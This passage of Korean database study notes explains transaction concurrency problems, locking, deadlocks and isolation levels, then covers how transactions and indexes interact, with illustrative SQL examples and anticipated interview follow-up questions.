-- 트랜잭션 A: 가격 조회
BEGIN TRANSACTION;
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;
SELECT 가격 FROM 상품 WHERE 상품번호 = 'P001';
-- 결과: 18,000원

-- 트랜잭션 B: 가격 수정
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20,000 WHERE 상품번호 = 'P001';
COMMIT;  -- 가격 = 20,000원으로 커밋

-- 트랜잭션 A: 같은 쿼리 재실행
SELECT 가격 FROM 상품 WHERE 상품번호 = 'P001';
-- 결과: 20,000원 (다른 결과 - Non-Repeatable Read!)

-- 문제: 같은 트랜잭션 내에서 같은 데이터를 두 번 읽었는데 결과가 다름

Non-Repeatable Read의 문제점

일관성 없는 데이터: 같은 트랜잭션 내에서 데이터가 달라짐
비즈니스 로직 오류: 첫 번째 읽기와 두 번째 읽기의 차이로 인한 계산 오류
의사결정 오류: 중간에 변경된 데이터로 인한 잘못된 판단

Non-Repeatable Read 해결 방법

REPEATABLE READ 격리 수준 사용

-- 트랜잭션 A: 가격 조회
BEGIN TRANSACTION;
SET TRANSACTION ISOLATION LEVEL REPEATABLE READ;
SELECT 가격 FROM 상품 WHERE 상품번호 = 'P001';
-- 결과: 18,000원 (스냅샷 생성)

-- 트랜잭션 B: 가격 수정
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20,000 WHERE 상품번호 = 'P001';
COMMIT;  -- 가격 = 20,000원으로 커밋

-- 트랜잭션 A: 같은 쿼리 재실행
SELECT 가격 FROM 상품 WHERE 상품번호 = 'P001';
-- 결과: 18,000원 (같은 결과 - Non-Repeatable Read 방지!)
-- 스냅샷을 사용하여 트랜잭션 시작 시점의 데이터 유지

5. Phantom Read (팬텀 읽기)

Phantom Read의 정의

Phantom Read(팬텀 읽기)는 트랜잭션 중에 새로운 행이 추가되거나 삭제되어 결과 집합이 달라지는 문제입니다.

Phantom Read 발생 예시

시나리오: 주문 개수 조회

-- 초기값: 브랜드 'B001'의 주문 개수 = 5개

-- 트랜잭션 A: 주문 개수 조회
BEGIN TRANSACTION;
SET TRANSACTION ISOLATION LEVEL REPEATABLE READ;
SELECT COUNT(*) FROM 주문 WHERE 브랜드코드 = 'B001';
-- 결과: 5

-- 트랜잭션 B: 새 주문 추가
BEGIN TRANSACTION;
INSERT INTO 주문 (주문ID, 브랜드코드, 총금액)
VALUES ('O200', 'B001', 36000);
COMMIT;  -- 주문 추가 완료 (실제 주문 개수 = 6개)

-- 트랜잭션 A: 같은 쿼리 재실행
SELECT COUNT(*) FROM 주문 WHERE 브랜드코드 = 'B001';
-- 결과: 5 (같은 결과 - Non-Repeatable Read는 방지됨)
-- 하지만 실제로는 6개 행이 존재 (Phantom Read!)

-- 문제: 트랜잭션 중에 새로운 행이 추가되었지만 보이지 않음

Phantom Read의 문제점

결과 집합 불일치: 실제 데이터와 조회 결과가 다름
통계 오류: 집계 쿼리의 결과가 부정확함
비즈니스 로직 오류: 존재하지 않는 데이터를 기반으로 의사결정

Phantom Read 해결 방법

SERIALIZABLE 격리 수준 사용

-- 트랜잭션 A: 주문 개수 조회
BEGIN TRANSACTION;
SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;
SELECT COUNT(*) FROM 주문 WHERE 브랜드코드 = 'B001';
-- 결과: 5 (범위 락 설정)

-- 트랜잭션 B: 새 주문 추가 시도
BEGIN TRANSACTION;
INSERT INTO 주문 (주문ID, 브랜드코드, 총금액)
VALUES ('O200', 'B001', 36000);
-- 대기 (트랜잭션 A가 커밋할 때까지)

-- 트랜잭션 A
COMMIT;  -- 락 해제

-- 트랜잭션 B 실행 가능
COMMIT;

-- 트랜잭션 A가 다시 조회하면
SELECT COUNT(*) FROM 주문 WHERE 브랜드코드 = 'B001';
-- 결과: 6 (정확한 결과)

6. 락(Lock) 메커니즘

락의 정의

락(Lock)은 동시성 제어를 위해 데이터에 대한 접근을 제한하는 메커니즘입니다.

락의 종류

1. 공유 락 (Shared Lock, S-Lock)

공유 락은 읽기 작업에 사용되는 락으로, 여러 트랜잭션이 동시에 공유 락을 가질 수 있습니다.

-- 트랜잭션 A
BEGIN TRANSACTION;
SELECT * FROM 상품 WHERE 상품번호 = 'P001' LOCK IN SHARE MODE;
-- 공유 락 획득 (다른 트랜잭션도 읽기 가능)

-- 트랜잭션 B
BEGIN TRANSACTION;
SELECT * FROM 상품 WHERE 상품번호 = 'P001' LOCK IN SHARE MODE;
-- 공유 락 획득 가능 (읽기 가능)

-- 트랜잭션 C
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
-- 대기 (공유 락이 있으면 배타 락 획득 불가)

2. 배타 락 (Exclusive Lock, X-Lock)

배타 락은 쓰기 작업에 사용되는 락으로, 한 트랜잭션만 배타 락을 가질 수 있습니다.

-- 트랜잭션 A
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
-- 배타 락 획득

-- 트랜잭션 B
BEGIN TRANSACTION;
SELECT * FROM 상품 WHERE 상품번호 = 'P001';
-- 대기 (배타 락이 있으면 공유 락 획득 불가)

-- 트랜잭션 C
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 19000 WHERE 상품번호 = 'P001';
-- 대기 (배타 락이 있으면 배타 락 획득 불가)

락 호환성

현재 락	공유 락 요청	배타 락 요청
공유 락	✅ 허용	❌ 대기
배타 락	❌ 대기	❌ 대기
락 없음	✅ 허용	✅ 허용

락의 범위

1. 행 락 (Row Lock)

특정 행에만 락을 설정합니다.

BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
-- 상품번호 'P001' 행에만 락 설정

2. 테이블 락 (Table Lock)

전체 테이블에 락을 설정합니다.

BEGIN TRANSACTION;
LOCK TABLE 상품 IN EXCLUSIVE MODE;
-- 전체 상품 테이블에 락 설정

3. 인덱스 락 (Index Lock)

인덱스 키에 락을 설정합니다.

BEGIN TRANSACTION;
SELECT * FROM 상품 WHERE 상품번호 = 'P001' FOR UPDATE;
-- 인덱스 키에 락 설정

7. 데드락 (Deadlock)

데드락의 정의

데드락(Deadlock)은 두 개 이상의 트랜잭션이 서로가 가진 락을 기다리며 무한 대기하는 상태입니다.

데드락 발생 예시

시나리오: 상호 대기

-- 트랜잭션 A
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
-- 상품 P001에 배타 락 획득

-- 트랜잭션 B (동시 실행)
BEGIN TRANSACTION;
UPDATE 주문 SET 총금액 = 40000 WHERE 주문ID = 'O100';
-- 주문 O100에 배타 락 획득

-- 트랜잭션 A
UPDATE 주문 SET 총금액 = 50000 WHERE 주문ID = 'O100';
-- 주문 O100의 락을 기다림 (트랜잭션 B가 가지고 있음)

-- 트랜잭션 B
UPDATE 상품 SET 가격 = 19000 WHERE 상품번호 = 'P001';
-- 상품 P001의 락을 기다림 (트랜잭션 A가 가지고 있음)

-- 데드락 발생!
-- A: 주문 O100 락 대기 (B가 가지고 있음)
-- B: 상품 P001 락 대기 (A가 가지고 있음)
-- 둘 다 대기 상태로 무한 대기

데드락의 문제점

시스템 성능 저하: 데드락에 걸린 트랜잭션이 리소스를 점유
사용자 경험 저하: 트랜잭션이 완료되지 않아 응답 없음
리소스 낭비: CPU와 메모리 리소스가 낭비됨

데드락 해결 방법

1. 데드락 탐지 및 복구

대부분의 DBMS는 데드락을 자동으로 탐지하고 한 트랜잭션을 롤백합니다.

-- DBMS가 데드락을 탐지하면
-- 한 트랜잭션을 롤백하고 에러 반환

-- 트랜잭션 A
ERROR: Deadlock detected
ROLLBACK;  -- 자동 롤백

-- 트랜잭션 B
-- 정상적으로 실행 계속
COMMIT;

2. 데드락 예방

락 순서 일관성 유지:

-- ✅ 좋은 예: 항상 같은 순서로 락 획득
-- 항상 상품 → 주문 순서

-- 트랜잭션 A
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
UPDATE 주문 SET 총금액 = 50000 WHERE 주문ID = 'O100';
COMMIT;

-- 트랜잭션 B
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 19000 WHERE 상품번호 = 'P001';
-- 대기 (트랜잭션 A가 상품 락을 가지고 있음)
-- 트랜잭션 A 커밋 후 실행
UPDATE 주문 SET 총금액 = 40000 WHERE 주문ID = 'O100';
COMMIT;

타임아웃 설정:

-- 락 대기 시간 제한
SET LOCK_TIMEOUT 5000;  -- 5초 대기 후 타임아웃

BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
-- 5초 내에 락을 획득하지 못하면 타임아웃 에러

8. 격리 수준과 동시성 이슈

격리 수준별 동시성 이슈

격리 수준	Lost Update	Dirty Read	Non-Repeatable Read	Phantom Read	동시성
READ UNCOMMITTED	❌ 발생 가능	❌ 발생 가능	❌ 발생 가능	❌ 발생 가능	⭐⭐⭐⭐⭐
READ COMMITTED	❌ 발생 가능	✅ 방지	❌ 발생 가능	❌ 발생 가능	⭐⭐⭐⭐
REPEATABLE READ	✅ 방지	✅ 방지	✅ 방지	❌ 발생 가능	⭐⭐⭐
SERIALIZABLE	✅ 방지	✅ 방지	✅ 방지	✅ 방지	⭐⭐

격리 수준 선택 가이드

READ COMMITTED (대부분의 DBMS 기본값):

일반적인 웹 애플리케이션에 적합
Dirty Read 방지
적절한 동시성과 일관성 균형

REPEATABLE READ:

같은 데이터를 여러 번 읽어야 하는 경우
Non-Repeatable Read 방지 필요 시

SERIALIZABLE:

최고 수준의 일관성 필요 시
모든 동시성 문제 방지
성능 저하 감수 필요

9. 동시성 이슈 해결 전략

애플리케이션 레벨 해결

1. 낙관적 락 (Optimistic Lock)

버전 컬럼을 사용하여 동시 수정을 감지합니다.

-- 버전 컬럼 추가
ALTER TABLE 상품 ADD COLUMN version INT DEFAULT 0;

-- 트랜잭션 A
BEGIN TRANSACTION;
SELECT 가격, version FROM 상품 WHERE 상품번호 = 'P001';
-- 결과: 가격 = 18000, version = 0

UPDATE 상품 
SET 가격 = 20000, version = version + 1
WHERE 상품번호 = 'P001' AND version = 0;
-- 성공: 1행 업데이트
COMMIT;

-- 트랜잭션 B (동시 실행)
BEGIN TRANSACTION;
SELECT 가격, version FROM 상품 WHERE 상품번호 = 'P001';
-- 결과: 가격 = 18000, version = 0

UPDATE 상품 
SET 가격 = 19000, version = version + 1
WHERE 상품번호 = 'P001' AND version = 0;
-- 실패: 0행 업데이트 (version이 이미 1로 변경됨)
-- 재시도 필요

2. 비관적 락 (Pessimistic Lock)

락을 먼저 획득하여 동시 수정을 방지합니다.

-- 트랜잭션 A
BEGIN TRANSACTION;
SELECT * FROM 상품 WHERE 상품번호 = 'P001' FOR UPDATE;
-- 배타 락 획득

UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
COMMIT;  -- 락 해제

-- 트랜잭션 B
BEGIN TRANSACTION;
SELECT * FROM 상품 WHERE 상품번호 = 'P001' FOR UPDATE;
-- 대기 (트랜잭션 A가 커밋할 때까지)
-- 트랜잭션 A 커밋 후 실행
UPDATE 상품 SET 가격 = 19000 WHERE 상품번호 = 'P001';
COMMIT;

데이터베이스 레벨 해결

1. 적절한 격리 수준 설정

-- 애플리케이션 요구사항에 맞는 격리 수준 선택
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;

2. 인덱스 최적화

인덱스를 적절히 사용하여 락 범위를 최소화합니다.

-- 인덱스가 있으면 특정 행만 락
CREATE INDEX idx_상품번호 ON 상품(상품번호);

UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
-- 인덱스를 사용하여 특정 행만 락 (테이블 전체 락 아님)

요약

동시성 이슈는 여러 트랜잭션이 동시에 같은 데이터에 접근할 때 발생하는 데이터 일관성 문제입니다. Lost Update, Dirty Read, Non-Repeatable Read, Phantom Read 등의 문제가 발생할 수 있습니다.
Lost Update는 두 트랜잭션이 동시에 같은 데이터를 수정할 때 하나의 변경사항이 손실되는 문제입니다. 배타 락이나 낙관적 락을 사용하여 해결할 수 있습니다.
Dirty Read는 커밋되지 않은 데이터를 읽는 문제입니다. READ COMMITTED 격리 수준을 사용하여 해결할 수 있습니다.
Non-Repeatable Read는 같은 트랜잭션 내에서 같은 쿼리를 반복 실행했을 때 다른 결과가 나오는 문제입니다. REPEATABLE READ 격리 수준을 사용하여 해결할 수 있습니다.
Phantom Read는 트랜잭션 중에 새로운 행이 추가되거나 삭제되어 결과 집합이 달라지는 문제입니다. SERIALIZABLE 격리 수준을 사용하여 해결할 수 있습니다.
락 메커니즘은 공유 락(읽기)과 배타 락(쓰기)을 사용하여 동시성 제어를 수행합니다. 락의 범위는 행 락, 테이블 락, 인덱스 락 등이 있습니다.
데드락은 두 트랜잭션이 서로의 락을 기다리며 무한 대기하는 상태입니다. 락 순서를 일관되게 유지하거나 타임아웃을 설정하여 예방할 수 있습니다.
격리 수준은 동시성과 일관성 사이의 트레이드오프를 결정합니다. 애플리케이션의 요구사항에 맞는 적절한 격리 수준을 선택하는 것이 중요합니다.

참고 자료

예상 꼬리질문 정리

1. 동시성 이슈를 완전히 해결할 수 있나?

완전한 해결의 트레이드오프:

동시성 이슈를 완전히 해결하려면 SERIALIZABLE 격리 수준을 사용해야 하지만, 이는 성능 저하를 수반합니다.

SERIALIZABLE의 문제점:

모든 트랜잭션이 순차적으로 실행됨
동시성 크게 저하
데드락 가능성 증가
성능 저하

실무 권장:

대부분의 경우 READ COMMITTED로 충분
필요한 경우에만 REPEATABLE READ 사용
SERIALIZABLE은 최후의 수단

2. Lost Update와 Dirty Read의 차이는?

Lost Update:

두 트랜잭션이 동시에 수정할 때 발생
하나의 변경사항이 손실됨
UPDATE 작업에서 발생

Dirty Read:

한 트랜잭션이 수정하고 다른 트랜잭션이 읽을 때 발생
커밋되지 않은 데이터를 읽음
SELECT 작업에서 발생

핵심 차이:

Lost Update: 쓰기-쓰기 충돌
Dirty Read: 쓰기-읽기 충돌

3. Non-Repeatable Read와 Phantom Read의 차이는?

Non-Repeatable Read:

기존 행의 값이 변경되어 같은 쿼리 결과가 달라짐
같은 행을 다시 읽었을 때 값이 다름
UPDATE 작업으로 인한 문제

Phantom Read:

새로운 행이 추가되거나 기존 행이 삭제되어 결과 집합이 달라짐
행의 개수나 존재 여부가 달라짐
INSERT/DELETE 작업으로 인한 문제

예시:

-- Non-Repeatable Read: 같은 행의 값 변경
SELECT 가격 FROM 상품 WHERE 상품번호 = 'P001';  -- 18000
-- 다른 트랜잭션이 가격을 20000으로 변경
SELECT 가격 FROM 상품 WHERE 상품번호 = 'P001';  -- 20000 (다른 값)

-- Phantom Read: 새로운 행 추가
SELECT COUNT(*) FROM 주문 WHERE 브랜드코드 = 'B001';  -- 5
-- 다른 트랜잭션이 새 주문 추가
SELECT COUNT(*) FROM 주문 WHERE 브랜드코드 = 'B001';  -- 6 (새로운 행)

4. 데드락을 어떻게 예방하나?

데드락 예방 전략:

락 순서 일관성 유지
- 항상 같은 순서로 락 획득
- 예: 항상 상품 → 주문 순서
락 보유 시간 최소화
- 트랜잭션 범위를 최소화
- 필요한 작업만 트랜잭션 내에서 수행
타임아웃 설정
- 락 대기 시간 제한
- 타임아웃 시 롤백하고 재시도
인덱스 최적화
- 인덱스를 사용하여 락 범위 최소화
- 불필요한 인덱스 제거

5. 낙관적 락과 비관적 락의 차이는?

낙관적 락 (Optimistic Lock):

락을 먼저 획득하지 않음
버전 컬럼으로 동시 수정 감지
충돌 시 재시도
읽기가 많은 경우에 유리

비관적 락 (Pessimistic Lock):

락을 먼저 획득
다른 트랜잭션의 접근 차단
충돌 방지
쓰기가 많은 경우에 유리

선택 기준:

충돌이 적으면: 낙관적 락
충돌이 많으면: 비관적 락

SQL_23) index 넌 못지 나간다.

jaemeon — Wed, 28 Jan 2026 17:50:40 +0900

Topic (오늘의 주제)

트랜잭션(Transaction)과 인덱스(Index)는 데이터베이스에서 서로 밀접한 관계를 가집니다. 트랜잭션이 데이터를 변경할 때 인덱스도 함께 업데이트되어야 하며, 인덱스의 존재는 트랜잭션의 성능과 일관성에 직접적인 영향을 미칩니다. 트랜잭션의 ACID 속성을 보장하면서 인덱스를 효율적으로 관리하는 것이 데이터베이스 성능 최적화의 핵심입니다.

Why (왜 사용하는가? 왜 중요한가?)

트랜잭션이 데이터를 INSERT, UPDATE, DELETE할 때마다 해당 컬럼에 인덱스가 있다면 인덱스도 함께 업데이트되어야 합니다. 이 과정에서 인덱스의 정렬 상태를 유지하기 위한 추가 작업이 발생하며, 트랜잭션의 성능과 일관성에 영향을 줍니다.
인덱스는 트랜잭션의 격리성(Isolation)과 밀접한 관련이 있습니다. 트랜잭션이 인덱스를 사용하여 데이터를 검색할 때, 다른 트랜잭션의 커밋되지 않은 변경사항이 인덱스에 반영되면 Dirty Read나 Phantom Read 같은 동시성 문제가 발생할 수 있습니다.
트랜잭션의 롤백 시 인덱스도 함께 롤백되어야 하며, 인덱스의 락(Lock) 메커니즘은 트랜잭션의 동시성 제어에 중요한 역할을 합니다. 인덱스가 많을수록 트랜잭션의 쓰기 성능이 저하되지만, 읽기 성능은 향상되는 트레이드오프를 이해해야 합니다.

1. 트랜잭션과 인덱스의 기본 관계

트랜잭션에서 인덱스의 역할

트랜잭션이 데이터를 변경할 때, 해당 컬럼에 인덱스가 있다면 인덱스도 함께 업데이트되어야 합니다.

예시:

-- 인덱스가 있는 컬럼에 데이터 삽입
CREATE INDEX idx_name ON users(name);

BEGIN TRANSACTION;
    INSERT INTO users (id, name, email)
    VALUES (1, '홍길동', 'hong@example.com');
    -- 인덱스 idx_name도 함께 업데이트됨
COMMIT;

동작 과정:

트랜잭션이 시작됨
users 테이블에 데이터 삽입
idx_name 인덱스에 ('홍길동', 레코드 주소) 추가
인덱스의 B+Tree 구조 유지를 위해 재정렬 작업 수행
트랜잭션 커밋 시 인덱스 변경사항도 함께 커밋

인덱스 업데이트의 원자성 보장

트랜잭션의 원자성(Atomicity)에 따라 인덱스 업데이트도 All or Nothing 원칙을 따릅니다.

예시:

BEGIN TRANSACTION;
    INSERT INTO users (id, name, email)
    VALUES (1, '홍길동', 'hong@example.com');
    -- 인덱스 업데이트 시작

    -- 오류 발생
    INSERT INTO orders (user_id, amount)
    VALUES (999, 10000);  -- 외래 키 제약조건 위반

    -- 원자성 보장: 인덱스 업데이트도 함께 롤백됨
ROLLBACK;

핵심:

테이블 데이터 변경 실패 → 인덱스 업데이트도 롤백
인덱스 업데이트 실패 → 전체 트랜잭션 롤백
중간 상태는 존재하지 않음

2. 트랜잭션에서 인덱스 업데이트 비용

인덱스 업데이트 오버헤드

트랜잭션이 데이터를 변경할 때마다 인덱스도 함께 업데이트되어야 하므로 추가 비용이 발생합니다.

INSERT 시 인덱스 업데이트:

-- 인덱스: idx_name, idx_email
CREATE INDEX idx_name ON users(name);
CREATE INDEX idx_email ON users(email);

BEGIN TRANSACTION;
    INSERT INTO users (id, name, email)
    VALUES (1, '홍길동', 'hong@example.com');
    -- 1. 테이블에 데이터 삽입
    -- 2. idx_name 인덱스 업데이트 (B+Tree 재정렬)
    -- 3. idx_email 인덱스 업데이트 (B+Tree 재정렬)
COMMIT;

비용 분석:

인덱스 1개: 테이블 삽입 + 인덱스 업데이트 1회
인덱스 2개: 테이블 삽입 + 인덱스 업데이트 2회
인덱스 N개: 테이블 삽입 + 인덱스 업데이트 N회

UPDATE 시 인덱스 업데이트:

BEGIN TRANSACTION;
    UPDATE users
    SET name = '김철수'  -- 인덱스 컬럼 변경
    WHERE id = 1;
    -- 1. 기존 인덱스 항목 삭제 ('홍길동')
    -- 2. 새 인덱스 항목 추가 ('김철수')
    -- 3. B+Tree 재정렬
COMMIT;

DELETE 시 인덱스 업데이트:

BEGIN TRANSACTION;
    DELETE FROM users WHERE id = 1;
    -- 1. 테이블에서 데이터 삭제
    -- 2. 모든 인덱스에서 해당 항목 삭제
    -- 3. B+Tree 재정렬
COMMIT;

인덱스 개수와 트랜잭션 성능

인덱스가 많을수록 트랜잭션의 쓰기 성능이 저하됩니다.

성능 비교:

인덱스 0개: INSERT 시간 = T
인덱스 1개: INSERT 시간 = T + I (인덱스 업데이트 시간)
인덱스 3개: INSERT 시간 = T + 3I
인덱스 5개: INSERT 시간 = T + 5I

트레이드오프:

인덱스 많음: SELECT 빠름, INSERT/UPDATE/DELETE 느림
인덱스 적음: SELECT 느림, INSERT/UPDATE/DELETE 빠름

3. 트랜잭션 격리성과 인덱스

인덱스를 통한 데이터 검색과 격리성

트랜잭션이 인덱스를 사용하여 데이터를 검색할 때, 격리 수준에 따라 다른 트랜잭션의 변경사항을 볼 수 있는지가 결정됩니다.

READ UNCOMMITTED와 인덱스:

-- 트랜잭션 A
BEGIN TRANSACTION;
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
SELECT * FROM users WHERE name = '홍길동';
-- 인덱스 idx_name을 사용하여 검색

-- 트랜잭션 B (동시 실행)
BEGIN TRANSACTION;
UPDATE users SET name = '김철수' WHERE name = '홍길동';
-- 인덱스 업데이트 시작 (아직 커밋 안 함)

-- 트랜잭션 A
SELECT * FROM users WHERE name = '홍길동';
-- Dirty Read 가능: 커밋되지 않은 인덱스 변경사항을 볼 수 있음

READ COMMITTED와 인덱스:

-- 트랜잭션 A
BEGIN TRANSACTION;
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;
SELECT * FROM users WHERE name = '홍길동';
-- 커밋된 데이터만 인덱스에서 읽음

-- 트랜잭션 B
BEGIN TRANSACTION;
UPDATE users SET name = '김철수' WHERE name = '홍길동';
COMMIT;  -- 인덱스 업데이트 커밋

-- 트랜잭션 A
SELECT * FROM users WHERE name = '홍길동';
-- 커밋된 변경사항 반영 (Non-Repeatable Read 가능)

인덱스 락과 트랜잭션 격리

인덱스도 락 메커니즘을 사용하여 트랜잭션의 격리성을 보장합니다.

인덱스 락의 종류:

인덱스 키 락 (Key Lock)
- 특정 인덱스 키에 대한 락
- 해당 키를 사용하는 트랜잭션만 접근 가능
갭 락 (Gap Lock)
- 인덱스 키 사이의 간격에 대한 락
- Phantom Read 방지
넥스트 키 락 (Next-Key Lock)
- 인덱스 키 락 + 갭 락
- REPEATABLE READ 격리 수준에서 사용

예시:

-- 트랜잭션 A (REPEATABLE READ)
BEGIN TRANSACTION;
SET TRANSACTION ISOLATION LEVEL REPEATABLE READ;
SELECT * FROM users WHERE name BETWEEN '가' AND '나';
-- 인덱스에 넥스트 키 락 설정

-- 트랜잭션 B
BEGIN TRANSACTION;
INSERT INTO users (name) VALUES ('김철수');
-- '가'와 '나' 사이에 삽입 시도 → 대기 (갭 락으로 인해)

-- 트랜잭션 A
COMMIT;  -- 락 해제

-- 트랜잭션 B 실행 가능

4. 트랜잭션 롤백과 인덱스 복구

롤백 시 인덱스 복구

트랜잭션이 롤백되면 인덱스도 이전 상태로 복구되어야 합니다.

롤백 메커니즘:

BEGIN TRANSACTION;
    INSERT INTO users (id, name, email)
    VALUES (1, '홍길동', 'hong@example.com');
    -- 인덱스 업데이트 (아직 커밋 안 됨)

    -- 오류 발생
    ROLLBACK;
    -- 1. 테이블 데이터 롤백
    -- 2. 인덱스 변경사항도 롤백
    -- 3. 인덱스가 트랜잭션 시작 전 상태로 복구

인덱스 복구 방법:

언두 로그 (Undo Log) 사용
- 인덱스 변경 전 상태를 언두 로그에 저장
- 롤백 시 언두 로그를 사용하여 복구
인덱스 변경 지연
- 트랜잭션 커밋 전까지 인덱스 변경을 지연
- 커밋 시에만 인덱스 업데이트

롤백 비용과 인덱스

인덱스가 많을수록 롤백 비용도 증가합니다.

롤백 비용:

인덱스 0개: 롤백 시간 = R
인덱스 1개: 롤백 시간 = R + I (인덱스 복구 시간)
인덱스 3개: 롤백 시간 = R + 3I

최적화 전략:

불필요한 인덱스 제거로 롤백 비용 감소
트랜잭션 범위 최소화로 롤백 가능성 감소

5. 인덱스와 트랜잭션 데드락

인덱스로 인한 데드락

인덱스가 많을수록 데드락 발생 가능성이 증가합니다.

데드락 발생 예시:

-- 인덱스: idx_name, idx_email
CREATE INDEX idx_name ON users(name);
CREATE INDEX idx_email ON users(email);

-- 트랜잭션 A
BEGIN TRANSACTION;
UPDATE users SET name = '김철수' WHERE email = 'hong@example.com';
-- idx_email 인덱스로 검색 → idx_name 인덱스 업데이트 대기

-- 트랜잭션 B (동시 실행)
BEGIN TRANSACTION;
UPDATE users SET email = 'new@example.com' WHERE name = '홍길동';
-- idx_name 인덱스로 검색 → idx_email 인덱스 업데이트 대기

-- 데드락 발생!
-- A: idx_name 락 대기 (B가 가지고 있음)
-- B: idx_email 락 대기 (A가 가지고 있음)

데드락 방지 전략:

인덱스 순서 일관성 유지
- 항상 같은 순서로 인덱스 접근
- 예: 항상 name → email 순서
불필요한 인덱스 제거
- 사용하지 않는 인덱스는 제거
- 데드락 가능성 감소
트랜잭션 범위 최소화
- 트랜잭션 시간을 짧게 유지
- 락 보유 시간 감소

6. 트랜잭션에서 인덱스 사용 최적화

인덱스 선택과 트랜잭션 성능

트랜잭션이 인덱스를 효율적으로 사용하면 성능이 향상됩니다.

인덱스 사용 예시:

-- 인덱스: idx_user_id
CREATE INDEX idx_user_id ON orders(user_id);

BEGIN TRANSACTION;
    -- 인덱스를 사용한 빠른 검색
    SELECT * FROM orders
    WHERE user_id = 123;  -- Index Scan 사용

    -- 인덱스 없으면 Full Table Scan (느림)
COMMIT;

인덱스 설계 원칙

트랜잭션 성능을 고려한 인덱스 설계:

자주 조회되는 컬럼에 인덱스 생성
- SELECT 성능 향상
- 트랜잭션의 읽기 성능 개선
자주 변경되지 않는 컬럼에 인덱스 생성
- UPDATE/DELETE 시 인덱스 업데이트 비용 감소
- 트랜잭션 쓰기 성능 유지
복합 인덱스 활용
- 여러 컬럼을 함께 조회하는 경우
- 단일 인덱스보다 효율적

예시:

-- 복합 인덱스
CREATE INDEX idx_user_date ON orders(user_id, order_date);

BEGIN TRANSACTION;
    -- 복합 인덱스 사용
    SELECT * FROM orders
    WHERE user_id = 123 AND order_date >= '2024-01-01';
    -- idx_user_date 인덱스 사용 (빠름)
COMMIT;

7. 트랜잭션과 인덱스의 실무 활용

대용량 데이터 삽입 시 인덱스 전략

대량의 데이터를 삽입할 때는 인덱스를 일시적으로 비활성화하는 것이 효율적일 수 있습니다.

인덱스 비활성화 전략:

-- 1. 인덱스 비활성화
ALTER INDEX idx_name ON users DISABLE;

-- 2. 대량 데이터 삽입 (인덱스 업데이트 없음)
BEGIN TRANSACTION;
    INSERT INTO users SELECT * FROM temp_users;
COMMIT;

-- 3. 인덱스 재활성화 및 재구성
ALTER INDEX idx_name ON users REBUILD;

주의사항:

인덱스 비활성화 중에는 해당 인덱스를 사용한 검색 불가
데이터 삽입 후 반드시 인덱스 재구성 필요

트랜잭션 로그와 인덱스

트랜잭션 로그는 인덱스 변경사항도 기록합니다.

트랜잭션 로그 구조:

트랜잭션 로그:
1. 테이블 데이터 변경 기록
2. 인덱스 변경 기록
3. 커밋/롤백 정보

복구 시나리오:

-- 시스템 장애 발생
-- 트랜잭션 로그를 사용하여 복구

-- 1. 커밋된 트랜잭션: 인덱스 변경사항도 복구
-- 2. 롤백된 트랜잭션: 인덱스 변경사항도 롤백
-- 3. 진행 중이던 트랜잭션: 롤백하여 인덱스 일관성 유지

요약

트랜잭션과 인덱스의 관계: 트랜잭션이 데이터를 변경할 때 인덱스도 함께 업데이트되며, 트랜잭션의 원자성에 따라 인덱스 변경사항도 All or Nothing 원칙을 따릅니다.
인덱스 업데이트 비용: 인덱스가 많을수록 INSERT/UPDATE/DELETE 시 인덱스 업데이트 오버헤드가 증가하여 트랜잭션의 쓰기 성능이 저하됩니다. 반면 SELECT 성능은 향상되는 트레이드오프가 있습니다.
격리성과 인덱스: 트랜잭션의 격리 수준에 따라 인덱스를 통한 데이터 검색 시 다른 트랜잭션의 변경사항을 볼 수 있는지가 결정됩니다. 인덱스 락(Key Lock, Gap Lock, Next-Key Lock)을 통해 격리성을 보장합니다.
롤백과 인덱스: 트랜잭션이 롤백되면 인덱스도 이전 상태로 복구되어야 하며, 인덱스가 많을수록 롤백 비용이 증가합니다.
데드락과 인덱스: 인덱스가 많을수록 데드락 발생 가능성이 증가하므로, 인덱스 접근 순서를 일관되게 유지하고 불필요한 인덱스를 제거하는 것이 중요합니다.
최적화 전략: 자주 조회되는 컬럼에 인덱스를 생성하고, 자주 변경되지 않는 컬럼에 인덱스를 생성하며, 대량 데이터 삽입 시에는 인덱스를 일시적으로 비활성화하는 등의 전략을 사용할 수 있습니다.

참고 자료

예상 꼬리질문 정리

1. 트랜잭션 중 인덱스가 손상되면 어떻게 되나?

인덱스 무결성 보장:

트랜잭션 중 인덱스가 손상되면 전체 트랜잭션이 롤백됩니다.

BEGIN TRANSACTION;
    INSERT INTO users (id, name) VALUES (1, '홍길동');
    -- 인덱스 업데이트 중 오류 발생

    -- 인덱스 손상 감지
    -- 전체 트랜잭션 롤백
ROLLBACK;

복구 메커니즘:

트랜잭션 로그를 사용하여 인덱스 복구
인덱스 재구성(REBUILD) 필요 시 자동 실행

2. 인덱스가 많으면 트랜잭션이 왜 느려지나?

인덱스 업데이트 비용:

인덱스가 많을수록 각 인덱스를 업데이트하는 비용이 증가합니다.

인덱스 1개: INSERT 시간 = T + I
인덱스 5개: INSERT 시간 = T + 5I

B+Tree 재정렬 비용:

각 인덱스마다 B+Tree 재정렬 필요
디스크 I/O 발생
락 경합 증가

최적화:

불필요한 인덱스 제거
자주 변경되지 않는 컬럼에만 인덱스 생성

3. 트랜잭션 격리 수준이 인덱스 사용에 영향을 주나?

격리 수준에 따른 인덱스 락:

READ COMMITTED:

인덱스 키 락만 사용
커밋된 데이터만 읽음

